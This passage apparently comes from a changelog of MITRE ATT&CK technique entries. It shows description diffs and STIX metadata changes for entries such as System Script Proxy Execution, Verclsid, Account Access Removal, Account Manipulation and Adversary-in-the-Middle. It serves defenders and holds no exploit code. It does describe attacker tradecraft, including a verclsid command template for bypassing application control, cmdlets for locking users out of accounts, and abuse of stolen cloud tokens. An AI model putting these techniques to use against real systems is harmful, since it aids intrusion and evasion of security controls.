| x_mitre_data_sources[6] | Network Traffic: Network Connection Creation | Process: Process Creation |
| x_mitre_version | 2.1 | 3.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'GTFO split', 'description': 'GTFOBins. (2020, November 13). split. Retrieved April 18, 2022.', 'url': 'https://gtfobins.github.io/gtfobins/split/'} |
| external_references | | {'source_name': 'LOLBAS Project', 'description': 'Oddvar Moe et al. (2022, February). Living Off The Land Binaries, Scripts and Libraries. Retrieved March 7, 2022.', 'url': 'https://github.com/LOLBAS-Project/LOLBAS#criteria'} |
| external_references | | {'source_name': 'split man page', 'description': 'Torbjorn Granlund, Richard M. Stallman. (2020, March null). split(1) — Linux manual page. Retrieved March 25, 2022.', 'url': 'https://man7.org/linux/man-pages/man1/split.1.html'} |
| x_mitre_contributors | | Wes Hurd |
| x_mitre_platforms | | Linux |
| x_mitre_platforms | | macOS |
[T1216] System Script Proxy Execution
Current version: 2.0
Version changed from: 1.1 → 2.0
|
|
|---|
| t | Adversaries may use scripts signed with trusted certificates | t | Adversaries may use trusted scripts, often signed with certi |
| to proxy execution of malicious files. Several Microsoft si | | ficates, to proxy the execution of malicious files. Several |
| gned scripts that are default on Windows installations can b | | Microsoft signed scripts that have been downloaded from Micr |
| e used to proxy execution of other files. This behavior may | | osoft or are default on Windows installations can be used to |
| be abused by adversaries to execute malicious files that cou | | proxy execution of other files.(Citation: LOLBAS Project) T |
| ld bypass application control and signature validation on sy | | his behavior may be abused by adversaries to execute malicio |
| stems.(Citation: GitHub Ultimate AppLocker Bypass List) | | us files that could bypass application control and signature |
| | | validation on systems.(Citation: GitHub Ultimate AppLocker |
| | | Bypass List) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-09-01 00:57:01.576000+00:00 | 2022-04-18 14:43:46.045000+00:00 |
| name | Signed Script Proxy Execution | System Script Proxy Execution |
| description | Adversaries may use scripts signed with trusted certificates to proxy execution of malicious files. Several Microsoft signed scripts that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List) | Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List) |
| x_mitre_version | 1.1 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'LOLBAS Project', 'description': 'Oddvar Moe et al. (2022, February). Living Off The Land Binaries, Scripts and Libraries. Retrieved March 7, 2022.', 'url': 'https://github.com/LOLBAS-Project/LOLBAS#criteria'} |
| x_mitre_contributors | | Wes Hurd |
[T1218.012] System Binary Proxy Execution: Verclsid
Current version: 2.0
Version changed from: 1.0 → 2.0
|
|
|---|
| t | Adversaries may abuse verclsid.exe to proxy execution of mal | t | Adversaries may abuse verclsid.exe to proxy execution of mal |
| icious code. Verclsid.exe is known as the Extension CLSID Ve | | icious code. Verclsid.exe is known as the Extension CLSID Ve |
| rification Host and is responsible for verifying each shell | | rification Host and is responsible for verifying each shell |
| extension before they are used by Windows Explorer or the Wi | | extension before they are used by Windows Explorer or the Wi |
| ndows Shell.(Citation: WinOSBite verclsid.exe) Adversaries | | ndows Shell.(Citation: WinOSBite verclsid.exe) Adversaries |
| may abuse verclsid.exe to execute malicious payloads. This m | | may abuse verclsid.exe to execute malicious payloads. This m |
| ay be achieved by running <code>verclsid.exe /S /C {CLSID}</ | | ay be achieved by running <code>verclsid.exe /S /C {CLSID}</ |
| code>, where the file is referenced by a Class ID (CLSID), a | | code>, where the file is referenced by a Class ID (CLSID), a |
| unique identification number used to identify COM objects. | | unique identification number used to identify COM objects. |
| COM payloads executed by verclsid.exe may be able to perform | | COM payloads executed by verclsid.exe may be able to perform |
| various malicious actions, such as loading and executing CO | | various malicious actions, such as loading and executing CO |
| M scriptlets (SCT) from remote servers (similar to [Regsvr32 | | M scriptlets (SCT) from remote servers (similar to [Regsvr32 |
| ](https://attack.mitre.org/techniques/T1218/010)). Since it | | ](https://attack.mitre.org/techniques/T1218/010)). Since the |
| is signed and native on Windows systems, proxying execution | | binary may be signed and/or native on Windows systems, prox |
| via verclsid.exe may bypass application control solutions th | | ying execution via verclsid.exe may bypass application contr |
| at do not account for its potential abuse.(Citation: LOLBAS | | ol solutions that do not account for its potential abuse.(Ci |
| Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOP | | tation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)( |
| S Abusing the COM Registry)(Citation: Nick Tyrer GitHub) | | Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Ty |
| | | rer GitHub) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-08-19 19:29:18.138000+00:00 | 2022-03-11 20:44:27.809000+00:00 |
| description | Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)
Adversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running verclsid.exe /S /C {CLSID}, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since it is signed and native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub) | Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)
Adversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running verclsid.exe /S /C {CLSID}, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub) |
| x_mitre_data_sources[0] | Process: Process Creation | Command: Command Execution |
| x_mitre_data_sources[1] | Command: Command Execution | Process: Process Creation |
| x_mitre_version | 1.0 | 2.0 |
Minor Version Changes
[T1531] Account Access Removal
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may interrupt availability of system and network | t | Adversaries may interrupt availability of system and network |
| resources by inhibiting access to accounts utilized by legi | | resources by inhibiting access to accounts utilized by legi |
| timate users. Accounts may be deleted, locked, or manipulate | | timate users. Accounts may be deleted, locked, or manipulate |
| d (ex: changed credentials) to remove access to accounts. A | | d (ex: changed credentials) to remove access to accounts. Ad |
| dversaries may also subsequently log off and/or reboot boxes | | versaries may also subsequently log off and/or perform a [Sy |
| to set malicious changes into place.(Citation: CarbonBlack | | stem Shutdown/Reboot](https://attack.mitre.org/techniques/T1 |
| LockerGoga 2019)(Citation: Unit42 LockerGoga 2019) | | 529) to set malicious changes into place.(Citation: CarbonBl |
| | | ack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019) In W |
| | | indows, [Net](https://attack.mitre.org/software/S0039) utili |
| | | ty, <code>Set-LocalUser</code> and <code>Set-ADAccountPasswo |
| | | rd</code> [PowerShell](https://attack.mitre.org/techniques/T |
| | | 1059/001) cmdlets may be used by adversaries to modify user |
| | | accounts. In Linux, the <code>passwd</code> utility may be u |
| | | sed to change passwords. Accounts could also be disabled by |
| | | Group Policy. Adversaries who use ransomware may first per |
| | | form this and other Impact behaviors, such as [Data Destruct |
| | | ion](https://attack.mitre.org/techniques/T1485) and [Defacem |
| | | ent](https://attack.mitre.org/techniques/T1491), before comp |
| | | leting the [Data Encrypted for Impact](https://attack.mitre. |
| | | org/techniques/T1486) objective. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User', 'Administrator', 'root', 'SYSTEM'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-07-14 19:15:29.911000+00:00 | 2022-04-19 22:57:27.449000+00:00 |
| description | Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.
Adversaries may also subsequently log off and/or reboot boxes to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019) | Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)
In Windows, [Net](https://attack.mitre.org/software/S0039) utility, Set-LocalUser and Set-ADAccountPassword [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. In Linux, the passwd utility may be used to change passwords. Accounts could also be disabled by Group Policy.
Adversaries who use ransomware may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective. |
| external_references[2]['description'] | Harbison, M.. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019. | Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019. |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | User Account: User Account Deletion |
| x_mitre_platforms | | Office 365 |
| x_mitre_platforms | | SaaS |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | User Account: User Account Deletion | |
[T1098] Account Manipulation
Current version: 2.3
Version changed from: 2.2 → 2.3
|
|
|---|
| t | Adversaries may manipulate accounts to maintain access to vi | t | Adversaries may manipulate accounts to maintain access to vi |
| ctim systems. Account manipulation may consist of any action | | ctim systems. Account manipulation may consist of any action |
| that preserves adversary access to a compromised account, s | | that preserves adversary access to a compromised account, s |
| uch as modifying credentials or permission groups. These act | | uch as modifying credentials or permission groups. These act |
| ions could also include account activity designed to subvert | | ions could also include account activity designed to subvert |
| security policies, such as performing iterative password up | | security policies, such as performing iterative password up |
| dates to bypass password duration policies and preserve the | | dates to bypass password duration policies and preserve the |
| life of compromised credentials. In order to create or manip | | life of compromised credentials. In order to create or man |
| ulate accounts, the adversary must already have sufficient p | | ipulate accounts, the adversary must already have sufficient |
| ermissions on systems or the domain. | | permissions on systems or the domain. However, account mani |
| | | pulation may also lead to privilege escalation where modific |
| | | ations grant access to additional roles, permissions, or hig |
| | | her-privileged [Valid Accounts](https://attack.mitre.org/tec |
| | | hniques/T1078). |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-18 18:57:04.505000+00:00 | 2022-04-18 14:17:07.164000+00:00 |
| description | Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. | Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials.
In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078). |
| external_references[1]['source_name'] | Microsoft User Modified Event | Microsoft Security Event 4670 |
| external_references[1]['description'] | Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account was changed. Retrieved June 30, 2017. | Franklin Smith, R. (n.d.). Windows Security Log Event ID 4670. Retrieved November 4, 2019. |
| external_references[1]['url'] | https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738 | https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670 |
| external_references[2]['source_name'] | Microsoft Security Event 4670 | Microsoft User Modified Event |
| external_references[2]['description'] | Franklin Smith, R. (n.d.). Windows Security Log Event ID 4670. Retrieved November 4, 2019. | Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account was changed. Retrieved June 30, 2017. |
| external_references[2]['url'] | https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670 | https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738 |
| x_mitre_data_sources[1] | Command: Command Execution | Group: Group Modification |
| x_mitre_data_sources[2] | Process: Process Creation | Active Directory: Active Directory Object Modification |
| x_mitre_data_sources[3] | Group: Group Modification | Process: Process Creation |
| x_mitre_data_sources[5] | Active Directory: Active Directory Object Modification | Command: Command Execution |
| x_mitre_detection | Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017)
Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.
Monitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts. | Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017)
Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.
Monitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078) |
| x_mitre_version | 2.2 | 2.3 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | Wojciech Lesicki |
| x_mitre_platforms | | SaaS |
[T1098.001] Account Manipulation: Additional Cloud Credentials
Current version: 2.3
Version changed from: 2.2 → 2.3
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['Administrator', 'User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-03-08 10:33:01.582000+00:00 | 2022-04-19 14:53:37.293000+00:00 |
| external_references[1]['source_name'] | Microsoft SolarWinds Customer Guidance | Expel IO Evil in AWS |
| external_references[1]['description'] | MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020. | A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020. |
| external_references[1]['url'] | https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/ | https://expel.io/blog/finding-evil-in-aws/ |
| external_references[2]['source_name'] | Blue Cloud of Death | Demystifying Azure AD Service Principals |
| external_references[2]['description'] | Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming Azure. Retrieved October 23, 2019. | Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service Principals. Retrieved January 19, 2020. |
| external_references[2]['url'] | https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1 | https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/ |
| external_references[3]['source_name'] | Blue Cloud of Death Video | GCP SSH Key Add |
| external_references[3]['description'] | Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming Azure. Retrieved November 21, 2019. | Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved October 1, 2020. |
| external_references[3]['url'] | https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815 | https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add |
| external_references[4]['source_name'] | Demystifying Azure AD Service Principals | Blue Cloud of Death Video |
| external_references[4]['description'] | Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service Principals. Retrieved January 19, 2020. | Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming Azure. Retrieved November 21, 2019. |
| external_references[4]['url'] | https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/ | https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815 |
| external_references[5]['source_name'] | GCP SSH Key Add | Blue Cloud of Death |
| external_references[5]['description'] | Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved October 1, 2020. | Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming Azure. Retrieved October 23, 2019. |
| external_references[5]['url'] | https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add | https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1 |
| external_references[6]['source_name'] | Expel IO Evil in AWS | Microsoft SolarWinds Customer Guidance |
| external_references[6]['description'] | A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020. | MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020. |
| external_references[6]['url'] | https://expel.io/blog/finding-evil-in-aws/ | https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/ |
| x_mitre_version | 2.2 | 2.3 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | SaaS |
[T1557] Adversary-in-the-Middle
Current version: 2.1
Version changed from: 2.0 → 2.1
|
|
|---|
| t | Adversaries may attempt to position themselves between two o | t | Adversaries may attempt to position themselves between two o |
| r more networked devices using an adversary-in-the-middle (A | | r more networked devices using an adversary-in-the-middle (A |
| iTM) technique to support follow-on behaviors such as [Netwo | | iTM) technique to support follow-on behaviors such as [Netwo |
| rk Sniffing](https://attack.mitre.org/techniques/T1040) or [ | | rk Sniffing](https://attack.mitre.org/techniques/T1040) or [ |
| Transmitted Data Manipulation](https://attack.mitre.org/tech | | Transmitted Data Manipulation](https://attack.mitre.org/tech |
| niques/T1565/002). By abusing features of common networking | | niques/T1565/002). By abusing features of common networking |
| protocols that can determine the flow of network traffic (e. | | protocols that can determine the flow of network traffic (e. |
| g. ARP, DNS, LLMNR, etc.), adversaries may force a device to | | g. ARP, DNS, LLMNR, etc.), adversaries may force a device to |
| communicate through an adversary controlled system so they | | communicate through an adversary controlled system so they |
| can collect information or perform additional actions.(Citat | | can collect information or perform additional actions.(Citat |
| ion: Rapid7 MiTM Basics) Adversaries may leverage the AiTM | | ion: Rapid7 MiTM Basics) For example, adversaries may manip |
| position to attempt to modify traffic, such as in [Transmitt | | ulate victim DNS settings to enable other malicious activiti |
| ed Data Manipulation](https://attack.mitre.org/techniques/T1 | | es such as preventing/redirecting users from accessing legit |
| 565/002). Adversaries can also stop traffic from flowing to | | imate sites and/or pushing additional malware.(Citation: tti |
| the appropriate destination, causing denial of service. | | nt_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_ |
| | | with_miner) [Downgrade Attack](https://attack.mitre.org/tech |
| | | niques/T1562/010)s can also be used to establish an AiTM pos |
| | | ition, such as by negotiating a less secure, deprecated, or |
| | | weaker version of communication protocol (SSL/TLS) or encryp |
| | | tion algorithm.(Citation: mitm_tls_downgrade_att)(Citation: |
| | | taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_at |
| | | t) Adversaries may also leverage the AiTM position to attem |
| | | pt to monitor and/or modify traffic, such as in [Transmitted |
| | | Data Manipulation](https://attack.mitre.org/techniques/T156 |
| | | 5/002). Adversaries can setup a position similar to AiTM to |
| | | prevent traffic from flowing to the appropriate destination, |
| | | potentially to [Impair Defenses](https://attack.mitre.org/t |
| | | echniques/T1562) and/or in support of a [Network Denial of S |
| | | ervice](https://attack.mitre.org/techniques/T1498). |
New Detections:
- DS0015: Application Log (Application Log Content)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | Abendan, O. (2012, June 14). How DNS Changer Trojans Direct Users to Threats. Retrieved October 28, 2021. |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
| external_references | CAPEC-94 | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-09-28 13:09:51.467000+00:00 | 2022-04-19 18:22:28.290000+00:00 |
| description | Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)
Adversaries may leverage the AiTM position to attempt to modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can also stop traffic from flowing to the appropriate destination, causing denial of service. | Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)
For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)
Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498). |
| external_references[1]['source_name'] | capec | dns_changer_trojans |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/94.html | https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/125/how-dns-changer-trojans-direct-users-to-threats |
| external_references[2]['source_name'] | Rapid7 MiTM Basics | taxonomy_downgrade_att_tls |
| external_references[2]['description'] | Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March 2, 2020. | Alashwali, E. S., Rasmussen, K. (2019, January 26). What's in a Downgrade? A Taxonomy of Downgrade Attacks in the TLS Protocol and Application Protocols Using TLS. Retrieved December 7, 2021. |
| external_references[2]['url'] | https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/ | https://arxiv.org/abs/1809.05681 |
| x_mitre_data_sources[0] | Network Traffic: Network Traffic Content | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Service: Service Creation | Network Traffic: Network Traffic Content |
| x_mitre_version | 2.0 | 2.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'ad_blocker_with_miner', 'description': 'Kuzmenko, A.. (2021, March 10). Ad blocker with miner included. Retrieved October 28, 2021.', 'url': 'https://securelist.com/ad-blocker-with-miner-included/101105/'} |
| external_references | | {'source_name': 'mitm_tls_downgrade_att', 'description': 'praetorian Editorial Team. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved December 8, 2021.', 'url': 'https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/'} |
| external_references | | {'source_name': 'Rapid7 MiTM Basics', 'description': 'Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March 2, 2020.', 'url': 'https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/'} |
| external_references | | {'source_name': 'tlseminar_downgrade_att', 'description': 'Team Cinnamon. (2017, February 3). Downgrade Attacks. Retrieved December 9, 2021.', 'url': 'https://tlseminar.github.io/downgrade-attacks/'} |
| external_references | | {'source_name': 'ttint_rat', 'description': 'Tu, L. Ma, Y. Ye, G. (2020, October 1). Ttint: An IoT Remote Access Trojan spread through 2 0-day vulnerabilities. Retrieved October 28, 2021.', 'url': 'https://blog.netlab.360.com/ttint-an-iot-remote-control-trojan-spread-through-2-0-day-vulnerabilities/'} |
| external_references | | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/94.html', 'external_id': 'CAPEC-94'} |
| x_mitre_contributors | | Mayuresh Dani, Qualys |
| x_mitre_contributors | | NEC |
| x_mitre_data_sources | | Service: Service Creation |
[T1550.001] Use Alternate Authentication Material: Application Access Token
Current version: 1.3
Version changed from: 1.2 → 1.3
|
|
|---|
| t | Adversaries may use stolen application access tokens to bypa | t | Adversaries may use stolen application access tokens to bypa |
| ss the typical authentication process and access restricted | | ss the typical authentication process and access restricted |
| accounts, information, or services on remote systems. These | | accounts, information, or services on remote systems. These |
| tokens are typically stolen from users and used in lieu of l | | tokens are typically stolen from users or services and used |
| ogin credentials. Application access tokens are used to mak | | in lieu of login credentials. Application access tokens are |
| e authorized API requests on behalf of a user and are common | | used to make authorized API requests on behalf of a user or |
| ly used as a way to access resources in cloud-based applicat | | service and are commonly used as a way to access resources |
| ions and software-as-a-service (SaaS).(Citation: Auth0 - Why | | in cloud and container-based applications and software-as-a- |
| You Should Always Use Access Tokens to Secure APIs Sept 201 | | service (SaaS).(Citation: Auth0 - Why You Should Always Use |
| 9) OAuth is one commonly implemented framework that issues t | | Access Tokens to Secure APIs Sept 2019) In AWS and GCP env |
| okens to users for access to systems. These frameworks are u | | ironments, adversaries can trigger a request for a short-liv |
| sed collaboratively to verify the user and determine what ac | | ed access token with the privileges of another user account. |
| tions the user is allowed to perform. Once identity is estab | | (Citation: Google Cloud Service Account Credentials)(Citatio |
| lished, the token allows actions to be authorized, without p | | n: AWS Temporary Security Credentials) The adversary can the |
| assing the actual credentials of the user. Therefore, compro | | n use this token to request data or perform actions the orig |
| mise of the token can grant the adversary access to resource | | inal account could not. If permissions for this feature are |
| s of other sites through a malicious application.(Citation: | | misconfigured – for example, by allowing all users to reques |
| okta) For example, with a cloud-based email service once an | | t a token for a particular account - an adversary may be abl |
| OAuth access token is granted to a malicious application, i | | e to gain initial access to a Cloud Account or escalate thei |
| t can potentially gain long-term access to features of the u | | r privileges.(Citation: Rhino Security Labs Enumerating AWS |
| ser account if a "refresh" token enabling background access | | Roles) OAuth is one commonly implemented framework that iss |
| is awarded.(Citation: Microsoft Identity Platform Access 201 | | ues tokens to users for access to systems. These frameworks |
| 9) With an OAuth access token an adversary can use the user- | | are used collaboratively to verify the user and determine wh |
